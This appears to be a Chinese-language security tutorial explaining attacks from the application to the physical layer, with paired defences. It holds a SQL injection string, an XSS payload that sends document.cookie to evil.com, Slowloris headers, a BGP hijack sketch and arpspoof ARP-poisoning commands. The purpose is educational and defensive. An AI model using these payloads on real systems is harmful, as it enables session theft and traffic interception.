从应用层到物理层,系统了解各层次常见攻击的原理与防御方法
SELECT * FROM users WHERE user='admin' AND pass='123'admin' OR '1'='1,服务端拼接后变成:...WHERE user='admin' OR '1'='1'--'// 危险写法(直接拼接) query = "SELECT * FROM users WHERE user='" + input + "'" // 安全写法(参数化查询) query = "SELECT * FROM users WHERE user = ?" stmt.execute(query, [input])
// 攻击者提交的评论内容 "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>" // 服务端防御:HTML 转义输出 safeOutput = htmlEscape(userInput) // < → < > → >
# Slowloris 发送的请求头(故意不发完整) GET / HTTP/1.1 Host: target.com X-a: b ← 每隔15秒发一个新Header,不发结束的空行 X-a: b ← 服务器等待请求完成,连接被占住
# 正常情况:Google 8.8.8.8 归属 AS15169 8.8.8.0/24 → AS15169 (Google) # BGP劫持:恶意AS宣称更精确路由 8.8.8.0/25 → AS4134 (恶意AS) ← 更精确,优先级更高 # 全球路由器将目标 /25 流量转向攻击者
# 使用 arpspoof 工具模拟攻击(勿用于非授权环境!) arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 # 告诉受害者(100):"网关(1)的MAC是我的MAC" arpspoof -i eth0 -t 192.168.1.1 192.168.1.100 # 告诉网关(1):"受害者(100)的MAC是我的MAC" echo 1 > /proc/sys/net/ipv4/ip_forward # 开启转发